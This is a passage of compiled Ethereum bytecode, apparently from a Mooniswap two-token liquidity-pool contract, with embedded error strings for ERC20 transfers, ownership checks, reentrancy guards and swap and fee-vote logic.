576040805162461bcd60e51b815260206004820152601d60248201527f536c6970706167652066656520766f746520697320746f6f2068696768000000604482015290519081900360640190fd5b336000818152600f602090815260409182902082519182019092529054815261105e9190610fc384612f46565b610fcc336117b4565b610fd46111c7565b600760009054906101000a90046001600160a01b03166001600160a01b03166323662bb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561102257600080fd5b505afa158015611036573d6000803e3d6000fd5b505050506040513d602081101561104c57600080fd5b5051600c959493929190612f65612fb8565b50565b600061107561106e612fd3565b8484612fd7565b5060015b92915050565b7f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f81565b662386f26fc100008111156110ff576040805162461bcd60e51b815260206004820152601460248201527f46656520766f746520697320746f6f2068696768000000000000000000000000604482015290519081900360640190fd5b336000818152600b602090815260409182902082519182019092529054815261105e919061112c84612f46565b611135336117b4565b61113d6111c7565b600760009054906101000a90046001600160a01b03166001600160a01b0316635a6c72d06040518163ffffffff1660e01b815260040160206040518083038186803b15801561118b57600080fd5b505afa15801561119f573d6000803e3d6000fd5b505050506040513d60208110156111b557600080fd5b505160089594939291906130c3612fb8565b60025490565b60006111fc8484846111de886126eb565b6111e788612b7d565b6111ef61279b565b6111f76112e2565b613116565b90505b9392505050565b6000611213848484613257565b6112838461121f612fd3565b61127e85604051806060016040528060288152602001615246602891396001600160a01b038a1660009081526001602052604081209061125d612fd3565b6001600160a01b0316815260208101919091526040016000205491906133b2565b612fd7565b5060019392505050565b600c546001600160681b0380821692600160681b830490911691600160d01b900465ffffffffffff1690565b60006112c36150ab565b6112ce848433611cb3565b915091509250929050565b60055460ff1690565b60408051606081018252600c546001600160681b038082168352600160681b8204166020830152600160d01b900465ffffffffffff169181019190915260009061132b90613449565b905090565b600061107561133d612fd3565b8461127e856001600061134e612fd3565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906134cc565b6113866150ab565b600260065414156113de576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026006556113eb6150ab565b50604080518082019091526001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f811682527f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df16602082015260006114546111c7565b90506000611460611624565b905061146c3388613526565b60005b60028110156115c157600084826002811061148657fe5b6020020151905060006114a26001600160a01b03831630613622565b905060006114ba866114b4848e6136c3565b9061371c565b90506114d06001600160a01b0384168a8361375e565b808885600281106114dd57fe5b602002015289518410158061150557508984815181106114f957fe5b60200260200101518110155b611556576040805162461bcd60e51b815260206004820152601f60248201527f4d6f6f6e69737761703a20726573756c74206973206e6f7420656e6f75676800604482015290519081900360640190fd5b6115868583611565898f6137c7565b6001600160a01b03871660009081526015602052604090209291908a613809565b6115b68583611595898f6137c7565b6001600160a01b03871660009081526016602052604090209291908a613809565b50505060010161146f565b508351602080860151604080518b8152928301939093528183015290516001600160a01b0387169133917f3cae9923fd3c2f468aa25a8ef687923e37f957459557c0380fd06526c0b8cdbc9181900360600190a350506001600655509392505050565b604080516060810182526010546001600160681b038082168352600160681b8204166020830152600160d01b900465ffffffffffff169181019190915260009061132b90613449565b60008161169b57507f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f611718565b81600114156116cb57507f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df611718565b6040805162461bcd60e51b815260206004820152601360248201527f506f6f6c206861732074776f20746f6b656e7300000000000000000000000000604482015290519081900360640190fd5b919050565b6117256150ab565b6111ff83833361137e565b6016602052600090815260409020546001600160d81b03811690600160d81b900464ffffffffff1682565b336000818152600f60209081526040918290208251918201909252905481526117879190610fc3613866565b565b6015602052600090815260409020546001600160d81b03811690600160d81b900464ffffffffff1682565b6001600160a01b031660009081526020819052604090205490565b6117d7612fd3565b60055461010090046001600160a01b0390811691161461183e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36005805474ffffffffffffffffffffffffffffffffffffffff0019169055565b600260065414156118f3576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655611900612fd3565b60055461010090046001600160a01b03908116911614611967576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600061199c6001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f1630613622565b905060006119d36001600160a01b037f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df1630613622565b90506119e96001600160a01b038516338561375e565b81611a1d6001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f1630613622565b1015611a70576040805162461bcd60e51b815260206004820152601860248201527f4d6f6f6e69737761703a206163636573732064656e6965640000000000000000604482015290519081900360640190fd5b80611aa46001600160a01b037f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df1630613622565b1015611af7576040805162461bcd60e51b815260206004820152601860248201527f4d6f6f6e69737761703a206163636573732064656e6965640000000000000000604482015290519081900360640190fd5b6103e8611b03306117b4565b1015611b56576040805162461bcd60e51b815260206004820152601860248201527f4d6f6f6e69737761703a206163636573732064656e6965640000000000000000604482015290519081900360640190fd5b505060016006555050565b6007546001600160a01b038281166000908152601360209081526040808320815192830190915254815290926110799216631845f0db613881565b60055461010090046001600160a01b031690565b336000818152600b6020908152604091829020825191820190925290548152611787919061112c613866565b6007546001600160a01b038281166000908152600f602090815260408083208151928301909152548152909261107992166323662bb9613881565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f2f5780601f10610f0457610100808354040283529160200191610f2f565b6007546001600160a01b038281166000908152600b60209081526040808320815192830190915254815290926110799216635a6c72d0613881565b6000611cbd6150ab565b60026006541415611d15576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655611d226150ab565b50604080518082019091526001600160a01b037f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f811682527f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df166020820152611d9b8160005b60200201516001600160a01b03166138f7565b611dc057611daa816001611d88565b611db5576000611dbb565b60208601515b611dc3565b85515b3414611e16576040805162461bcd60e51b815260206004820152601c60248201527f4d6f6f6e69737761703a2077726f6e672076616c756520757361676500000000604482015290519081900360640190fd5b6000611e206111c7565b905080611fac57611e346103e860636136c3565b9350611e42306103e8613904565b60005b6002811015611fa657611e6885898360028110611e5e57fe5b60200201516139f4565b94506000888260028110611e7857fe5b602002015111611ecf576040805162461bcd60e51b815260206004820152601960248201527f4d6f6f6e69737761703a20616d6f756e74206973207a65726f00000000000000604482015290519081900360640190fd5b868160028110611edb57fe5b6020020151888260028110611eec57fe5b60200201511015611f44576040805162461bcd60e51b815260206004820181905260248201527f4d6f6f6e69737761703a206d696e416d6f756e74206e6f742072656163686564604482015290519081900360640190fd5b611f7c33308a8460028110611f5557fe5b6020020151868560028110611f6657fe5b60200201516001600160a01b0316929190613a0b565b878160028110611f8857fe5b6020020151848260028110611f9957fe5b6020020152600101611e45565b506122bf565b611fb46150ab565b60005b600281101561202257612009611fd2858360028110611d8857fe5b611fdd576000611fdf565b345b61200330878560028110611fef57fe5b60200201516001600160a01b031690613622565b906137c7565b82826002811061201557fe5b6020020152600101611fb7565b50600019945060005b60028110156120765761206c8661206784846002811061204757fe5b60200201516114b48d866002811061205b57fe5b602002015188906136c3565b613b97565b955060010161202b565b508460005b60028110156122035760008a826002811061209257fe5b6020020151116120e9576040805162461bcd60e51b815260206004820152601960248201527f4d6f6f6e69737761703a20616d6f756e74206973207a65726f00000000000000604482015290519081900360640190fd5b6000612117856114b4600188036121118789886002811061210657fe5b6020020151906136c3565b906134cc565b905089826002811061212557fe5b602002015181101561217e576040805162461bcd60e51b815260206004820181905260248201527f4d6f6f6e69737761703a206d696e416d6f756e74206e6f742072656163686564604482015290519081900360640190fd5b612190333083898660028110611f6657fe5b6121b484836002811061219f57fe5b602002015161200330898660028110611fef57fe5b8783600281106121c057fe5b60200201526121f8886120678685600281106121d857fe5b60200201516114b48b87600281106121ec57fe5b60200201518a906136c3565b97505060010161207b565b50600061220e611624565b905060005b60028110156122ba576122828285836002811061222c57fe5b602002015161223b888c6134cc565b88601660008c886002811061224c57fe5b60200201516001600160a01b03166001600160a01b0316815260200190815260200160002061380990949392919063ffffffff16565b6122b28285836002811061229257fe5b60200201516122a1888c6134cc565b88601560008c886002811061224c57fe5b600101612213565b505050505b60008411612314576040805162461bcd60e51b815260206004820152601f60248201527f4d6f6f6e69737761703a20726573756c74206973206e6f7420656e6f75676800604482015290519081900360640190fd5b61231e8585613904565b825160208085015160408051888152928301939093528183015290516001600160a01b0387169133917f8bab6aed5a508937051a144e61d6e61336834a66aaee250a00613ae6f744c4229181900360600190a3505060016006559094909350915050565b600061107561238f612fd3565b8461127e8560405180606001604052806025815260200161530260259139600160006123b9612fd3565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906133b2565b60006110756123f7612fd3565b8484613257565b60408051600280825260608083018452926020830190803683370190505090507f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f8160008151811061244c57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df8160018151811061249a57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505090565b6014602052600090815260409020546fffffffffffffffffffffffffffffffff8082169170010000000000000000000000000000000090041682565b612501612fd3565b60055461010090046001600160a01b03908116911614612568576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600780547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038316179055604080517f93028d83000000000000000000000000000000000000000000000000000000008152905130916393028d8391600480830192600092919082900301818387803b1580156125ec57600080fd5b505af1158015612600573d6000803e3d6000fd5b50505050306001600160a01b0316636669302a6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561263f57600080fd5b505af1158015612653573d6000803e3d6000fd5b50505050306001600160a01b031663f76d13b46040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561269257600080fd5b505af11580156126a6573d6000803e3d6000fd5b5050505050565b7f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df81565b60006126e18686868686336127e4565b9695505050505050565b6000806127016001600160a01b03841630613622565b90506111ff61275b612711611624565b6001600160a01b0386166000908152601560209081526040918290208251808401909352546001600160d81b0381168352600160d81b900464ffffffffff16908201529084613ba6565b826139f4565b6007546001600160a01b031681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b604080516060810182526008546001600160681b038082168352600160681b8204166020830152600160d01b900465ffffffffffff169181019190915260009061132b90613449565b60006002600654141561283e576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655600754604080517f22f3e2d400000000000000000000000000000000000000000000000000000000815290516001600160a01b03909216916322f3e2d491600480820192602092909190829003018186803b1580156128a157600080fd5b505afa1580156128b5573d6000803e3d6000fd5b505050506040513d60208110156128cb57600080fd5b505161291e576040805162461bcd60e51b815260206004820152601b60248201527f4d6f6f6e69737761703a20666163746f72792073687574646f776e0000000000604482015290519081900360640190fd5b612930876001600160a01b03166138f7565b61293b57600061293d565b845b3414612990576040805162461bcd60e51b815260206004820152601c60248201527f4d6f6f6e69737761703a2077726f6e672076616c756520757361676500000000604482015290519081900360640190fd5b6129986150c9565b60405180604001604052806129d86129b88b6001600160a01b03166138f7565b6129c35760006129c5565b345b6120036001600160a01b038d1630613622565b81526020016129f06001600160a01b038a1630613622565b9052905060006129fe6150c9565b612a066150c9565b6040518060400160405280612a1961279b565b8152602001612a266112e2565b90529050612a398b8b8b8b8a8987613c01565b8094508197508295505050508a6001600160a01b0316866001600160a01b0316336001600160a01b03167fbd99c6719f088aa0abd9e7b7a4a635d1f931601e9f304b538dc42be25d8c65c68d878a886000015189602001518f60405180876001600160a01b03168152602001868152602001858152602001848152602001838152602001826001600160a01b03168152602001965050505050505060405180910390a4612ae98386898785613e84565b50506001600160a01b03909816600090815260146020526040902080547001000000000000000000000000000000006fffffffffffffffffffffffffffffffff808316909b018b167fffffffffffffffffffffffffffffffff00000000000000000000000000000000909216919091178181048b1685018b1690910299169890981790975560016006559695505050505050565b600080612b936001600160a01b03841630613622565b90506111ff612bed612ba3611624565b6001600160a01b0386166000908152601660209081526040918290208251808401909352546001600160d81b0381168352600160d81b900464ffffffffff16908201529084613ba6565b82613b97565b61012c811115612c4a576040805162461bcd60e51b815260206004820152601d60248201527f446563617920706572696f6420766f746520697320746f6f2068696768000000604482015290519081900360640190fd5b603c811015612ca0576040805162461bcd60e51b815260206004820152601c60248201527f446563617920706572696f6420766f746520697320746f6f206c6f7700000000604482015290519081900360640190fd5b3360008181526013602090815260409182902082519182019092529054815261105e9190612ccd84612f46565b612cd6336117b4565b612cde6111c7565b600760009054906101000a90046001600160a01b03166001600160a01b0316631845f0db6040518163ffffffff1660e01b815260040160206040518083038186803b158015612d2c57600080fd5b505afa158015612d40573d6000803e3d6000fd5b505050506040513d6020811015612d5657600080fd5b505160109594939291906143af612fb8565b6008546001600160681b0380821692600160681b830490911691600160d01b900465ffffffffffff1690565b612d9c612fd3565b60055461010090046001600160a01b03908116911614612e03576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116612e485760405162461bcd60e51b81526004018080602001828103825260268152602001806151b76026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b336000818152601360209081526040918290208251918201909252905481526117879190612ccd613866565b6000600160681b8210612f42576040805162461bcd60e51b815260206004820152601e60248201527f76616c756520646f6573206e6f742066697420696e2031303420626974730000604482015290519081900360640190fd5b5090565b612f4e6150e3565b506040805160208101909152600182018152919050565b60408051848152831515602082015280820183905290516001600160a01b038616917fce0cf859d853e1944032294143a1bf3ad799998ae77acbeb6c4d9b20d6910240919081900360600190a250505050565b612fc9888888888889898989614402565b5050505050505050565b3390565b6001600160a01b03831661301c5760405162461bcd60e51b81526004018080602001828103825260248152602001806152b46024913960400191505060405180910390fd5b6001600160a01b0382166130615760405162461bcd60e51b81526004018080602001828103825260228152602001806151dd6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60408051848152831515602082015280820183905290516001600160a01b038616917fe117cae46817b894b41a4412b73ae0ba746a5707b94e02d83b4c6502010b11ac919081900360600190a250505050565b6000866001600160a01b0316886001600160a01b03161115613136579596955b60008611801561317757507f0000000000000000000000006b175474e89094c44da98b954eedeac495271d0f6001600160a01b0316886001600160a01b0316145b80156131b457507f000000000000000000000000dbdb4d16eda451d0503b854cf79d55697f90c8df6001600160a01b0316876001600160a01b0316145b1561324c5760006131db6131d4670de0b6b3a76400006114b48a886136c3565b88906137c7565b905060006131e987836134cc565b905060006131fb826114b4858a6136c3565b9050600061321e61320c87866136c3565b612003670de0b6b3a7640000866136c3565b90506000613234670de0b6b3a7640000856136c3565b9050613244816114b485856136c3565b955050505050505b979650505050505050565b6001600160a01b03831661329c5760405162461bcd60e51b815260040180806020018281038252602581526020018061528f6025913960400191505060405180910390fd5b6001600160a01b0382166132e15760405162461bcd60e51b81526004018080602001828103825260238152602001806151726023913960400191505060405180910390fd5b6132ec838383614626565b613329816040518060600160405280602681526020016151ff602691396001600160a01b03861660009081526020819052604090205491906133b2565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461335890826134cc565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156134415760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156134065781810151838201526020016133ee565b50505050905090810190601f1680156134335780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008061347262015180612067856040015165ffffffffffff16426137c790919063ffffffff16565b9050600061348362015180836137c7565b90506134c4620151806114b46134af8588602001516001600160681b03166136c390919063ffffffff16565b8751612111906001600160681b0316866136c3565b949350505050565b6000828201838110156111ff576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03821661356b5760405162461bcd60e51b815260040180806020018281038252602181526020018061526e6021913960400191505060405180910390fd5b61357782600083614626565b6135b481604051806060016040528060228152602001615195602291396001600160a01b03851660009081526020819052604090205491906133b2565b6001600160a01b0383166000908152602081905260409020556002546135da90826137c7565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600061362d836138f7565b1561364357506001600160a01b03811631611079565b826001600160a01b03166370a08231836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561369057600080fd5b505afa1580156136a4573d6000803e3d6000fd5b505050506040513d60208110156136ba57600080fd5b50519050611079565b6000826136d257506000611079565b828202828482816136df57fe5b04146111ff5760405162461bcd60e51b81526004018080602001828103825260218152602001806152256021913960400191505060405180910390fd5b60006111ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614911565b80156137c25761376d836138f7565b156137ae576040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156137a8573d6000803e3d6000fd5b506137c2565b6137c26001600160a01b0384168383614976565b505050565b60006111ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506133b2565b6126a685613861836114b461381f8260016137c7565b604080518082019091528b546001600160d81b0381168252600160d81b900464ffffffffff16602082015261211190899061385b908d8d613ba6565b906136c3565b6149f6565b61386e6150e3565b5060408051602081019091526000815290565b82516000901561389757508251600019016111ff565b82826040518163ffffffff1660e01b815260040160206040518083038186803b1580156138c357600080fd5b505afa1580156138d7573d6000803e3d6000fd5b505050506040513d60208110156138ed57600080fd5b5051949350505050565b6001600160a01b03161590565b6001600160a01b03821661395f576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61396b60008383614626565b60025461397890826134cc565b6002556001600160a01b03821660009081526020819052604090205461399e90826134cc565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600081831015613a0457816111ff565b5090919050565b8015613b9157613a1a846138f7565b15613b7c5780341015613a74576040805162461bcd60e51b815260206004820152601a60248201527f556e6945524332303a206e6f7420656e6f7567682076616c7565000000000000604482015290519081900360640190fd5b6001600160a01b0383163314613ad1576040805162461bcd60e51b815260206004820152601660248201527f66726f6d206973206e6f74206d73672e73656e64657200000000000000000000604482015290519081900360640190fd5b6001600160a01b0382163014613b2e576040805162461bcd60e51b815260206004820152600e60248201527f746f206973206e6f742074686973000000000000000000000000000000000000604482015290519081900360640190fd5b80341115613b77576001600160a01b0383166108fc613b4d34846137c7565b6040518115909202916000818181858888f19350505050158015613b75573d6000803e3d6000fd5b505b613b91565b613b916001600160a01b038516848484614a53565b50505050565b6000818310613a0457816111ff565b600080613bcb84612067876020015164ffffffffff16426137c790919063ffffffff16565b90506000613bd985836137c7565b90506126e1856114b4613bec87866136c3565b8951612111906001600160d81b0316866136c3565b600080613c0c6150c9565b6000613c16611624565b86516001600160a01b038d166000908152601560209081526040918290208251808401909352546001600160d81b0381168352600160d81b900464ffffffffff1690820152919250613c6a91908390613ba6565b8083528651613c7991906139f4565b82526020868101516001600160a01b038c166000908152601683526040908190208151808301909252546001600160d81b0381168252600160d81b900464ffffffffff1692810192909252613cd091908390613ba6565b6020808401829052870151613ce59190613b97565b6020830152613cff6001600160a01b038c1633308c613a0b565b8551613d18906120036001600160a01b038e1630613622565b9350613d398b8b86856000015186602001518a600001518b60200151613116565b9250600083118015613d4b5750878310155b613d9c576040805162461bcd60e51b815260206004820152601f60248201527f4d6f6f6e69737761703a2072657475726e206973206e6f7420656e6f75676800604482015290519081900360640190fd5b613db06001600160a01b038b16888561375e565b8551825114613de7578151613de790613dc990866134cc565b6001600160a01b038d166000908152601560205260409020906149f6565b8560200151826020015114613e27576020820151613e2790613e0990856137c7565b6001600160a01b038c166000908152601660205260409020906149f6565b85516001600160a01b038c166000908152601660205260409020613e4c918390614adb565b6020808701516001600160a01b038c16600090815260159092526040909120613e76918390614adb565b509750975097945050505050565b600080600080600760009054906101000a90046001600160a01b03166001600160a01b031663172886e76040518163ffffffff1660e01b815260040160806040518083038186803b158015613ed857600080fd5b505afa158015613eec573d6000803e3d6000fd5b505050506040513d6080811015613f0257600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190505050935093509350935060008060006ec097ce7bc90715b34b9f10000000009050613f7989600001516114b4613f728f8d600001516134cc90919063ffffffff16565b84906136c3565b60208a0151909150613f92906114b4613f72828f6137c7565b90506ec097ce7bc90715b34b9f100000000081111561434357613fb481614b17565b90506000613fd9826114b4613fd182670de0b6b3a76400006137c7565b61385b6111c7565b90506001600160a01b038b16613ff0576000614006565b614006670de0b6b3a76400006114b4838b6136c3565b93506001600160a01b03861661401d576000614033565b614033670de0b6b3a76400006114b4838a6136c3565b92506001600160a01b038516614068578315614053576140538b85613904565b8215614063576140638684613904565b614341565b60008411806140775750600083115b1561434157600080841161408c57600061408f565b60015b6000861161409e5760006140a1565b60015b0160ff16905060608167ffffffffffffffff811180156140c057600080fd5b506040519080825280602002602001820160405280156140ea578160200160208202803683370190505b50905060608267ffffffffffffffff8111801561410657600080fd5b50604051908082528060200260200182016040528015614130578160200160208202803683370190505b5090508d8260008151811061414157fe5b60200260200101906001600160a01b031690816001600160a01b031681525050868160008151811061416f57fe5b602090810291909101015285156141cd578882600185038151811061419057fe5b60200260200101906001600160a01b031690816001600160a01b031681525050858160018503815181106141c057fe5b6020026020010181815250505b604080517f0931753c000000000000000000000000000000000000000000000000000000008152600481019182528351604482015283516001600160a01b038b1692630931753c92869286929182916024820191606401906020808801910280838360005b8381101561424a578181015183820152602001614232565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015614289578181015183820152602001614271565b50505050905001945050505050600060405180830381600087803b1580156142b057600080fd5b505af19250505080156142c1575060015b61432a576040805160208082526016908201527f757064617465526577617264732829206661696c6564000000000000000000008183015290517f08c379a0afcc32b1a39302f7cb8073359698411ab5fd6e3edb2c02c0b5fba8aa9181900360600190a161433d565b61433d8861433889896134cc565b613904565b5050505b505b88516020808b01518a518b83015160408051958652938501929092528383015260608301526080820185905260a08201849052517f2a368c7f33bb86e2d999940a3989d849031aff29b750f67947e6b8e8c3d2ffd69181900360c00190a1505050505050505050505050565b60408051848152831515602082015280820183905290516001600160a01b038616917fd0784d105a7412ffec29813ff8401f04f3d1cdbe6aca756974b1a31f830e5cb7919081900360600190a250505050565b600189015460028a01548190806144188b614b71565b1561442e57614427818a6137c7565b905061444f565b61444c61444561443e8d89614b76565b8b906136c3565b84906137c7565b92505b6144588a614b71565b1561446e5761446781896134cc565b905061448f565b61448c61448561447e8c89614b76565b8a906136c3565b84906134cc565b92505b83831461449e5760018d018390555b8181146144ad5760028d018190555b600087156144d2576144cd886114b46144c6858b6136c3565b87906134cc565b6144d4565b865b90506144de6150f6565b50604080516060810182528f546001600160681b038082168352600160681b82041660208301819052600160d01b90910465ffffffffffff16928201929092529082146145c6578e61453761453283613449565b612ee8565b61454084612ee8565b61454942614b92565b835479ffffffffffffffffffffffffffffffffffffffffffffffffffff16600160d01b65ffffffffffff9290921691909102177fffffffffffff00000000000000000000000000ffffffffffffffffffffffffff16600160681b6001600160681b0392831602176cffffffffffffffffffffffffff191691161790555b506145d390508a8c614bef565b6145f6576001600160a01b038c16600090815260038e01602052604090208a5190555b6146178c6146048c89614b76565b61460d8d614b71565b8b8963ffffffff16565b50505050505050505050505050565b816001600160a01b0316836001600160a01b03161415614645576137c2565b6007546001600160a01b0390811690600090851615806146da5750816001600160a01b0316633b90b9bf866040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156146ad57600080fd5b505afa1580156146c1573d6000803e3d6000fd5b505050506040513d60208110156146d757600080fd5b50515b15905060006001600160a01b038516158061476a5750826001600160a01b0316633b90b9bf866040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561473d57600080fd5b505afa158015614751573d6000803e3d6000fd5b505050506040513d602081101561476757600080fd5b50515b15905081158015614779575080155b15614786575050506137c2565b60006001600160a01b03871661479d5760006147a6565b6147a6876117b4565b905060006001600160a01b0387166147bf5760006147c8565b6147c8876117b4565b9050600061480a6001600160a01b038916156147e55760006147e7565b875b6120036001600160a01b038c1615614800576000614802565b895b6121116111c7565b9050614814615116565b6040518061010001604052808b6001600160a01b031681526020018a6001600160a01b03168152602001871515815260200186151581526020018981526020018581526020018481526020018381525090506000806000896001600160a01b031663edb7a6fa6040518163ffffffff1660e01b815260040160606040518083038186803b1580156148a457600080fd5b505afa1580156148b8573d6000803e3d6000fd5b505050506040513d60608110156148ce57600080fd5b508051602082015160409092015190945090925090506148f384846130c36008614bf6565b6149028483612f65600c614bf6565b61461784826143af6010614bf6565b600081836149605760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156134065781810151838201526020016133ee565b50600083858161496c57fe5b0495945050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001790526137c2908490614d70565b6149ff81614e21565b614a0842614e7b565b83546001600160d81b0392831664ffffffffff909216600160d81b029216919091177fffffffffff000000000000000000000000000000000000000000000000000000161790915550565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd00000000000000000000000000000000000000000000000000000000179052613b91908590614d70565b6040805180820190915283546001600160d81b0381168252600160d81b900464ffffffffff1660208201526137c2908490613861908585613ba6565b60006003821115614b5b5781600160028204015b81811015614b5357809150600281828681614b4257fe5b040181614b4b57fe5b049050614b2b565b509050611718565b8115614b6957506001611718565b506000611718565b511590565b815160009015614b8c5750815160001901611079565b50919050565b600066010000000000008210612f42576040805162461bcd60e51b815260206004820152601d60248201527f76616c756520646f6573206e6f742066697420696e2034382062697473000000604482015290519081900360640190fd5b5190511490565b614bfe6150e3565b5083516001600160a01b03166000908152600382016020908152604091829020825191820190925290548152614c326150e3565b506020808601516001600160a01b031660009081526003840182526040908190208151928301909152548152614c6782614b71565b8015614c775750614c7781614b71565b8015614c84575085604001515b8015614c91575085606001515b15614d03578551614ccc90614ca68488614b76565b6001614cc38a608001518b60a001516137c790919063ffffffff16565b8863ffffffff16565b6020860151614cfc90614cdf8388614b76565b6001614cc38a608001518b60c001516134cc90919063ffffffff16565b5050613b91565b856040015115614d3d57855160a08701516080880151614d3d92918591614d2b9082906137c7565b60e08b01518894939291908b8b614ed7565b856060015115614d6857602086015160c08701516080880151614d6892918491614d2b9082906134cc565b505050505050565b6060614dc5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316614efb9092919063ffffffff16565b8051909150156137c257808060200190516020811015614de457600080fd5b50516137c25760405162461bcd60e51b815260040180806020018281038252602a8152602001806152d8602a913960400191505060405180910390fd5b6000600160d81b8210612f42576040805162461bcd60e51b815260206004820152601e60248201527f76616c756520646f6573206e6f742066697420696e2032313620626974730000604482015290519081900360640190fd5b6000650100000000008210612f42576040805162461bcd60e51b815260206004820152601d60248201527f76616c756520646f6573206e6f742066697420696e2034302062697473000000604482015290519081900360640190fd5b612fc98888888715614ee95789614ef1565b614ef1613866565b8989898989614402565b60606111fc84846000856060614f1085615072565b614f61576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310614fa05780518252601f199092019160209182019101614f81565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114615002576040519150601f19603f3d011682016040523d82523d6000602084013e615007565b606091505b5091509150811561501b5791506134c49050565b80511561502b5780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156134065781810151838201526020016133ee565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906134c4575050151592915050565b60405180604001604052806002906020820280368337509192915050565b604051806040016040528060008152602001600081525090565b6040518060200160405280600081525090565b604080516060810182526000808252602082018190529181019190915290565b60405180610100016040528060006001600160a01b0316815260200160006001600160a01b0316815260200160001515815260200160001515815260200160008152602001600081526020016000815260200160008152509056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d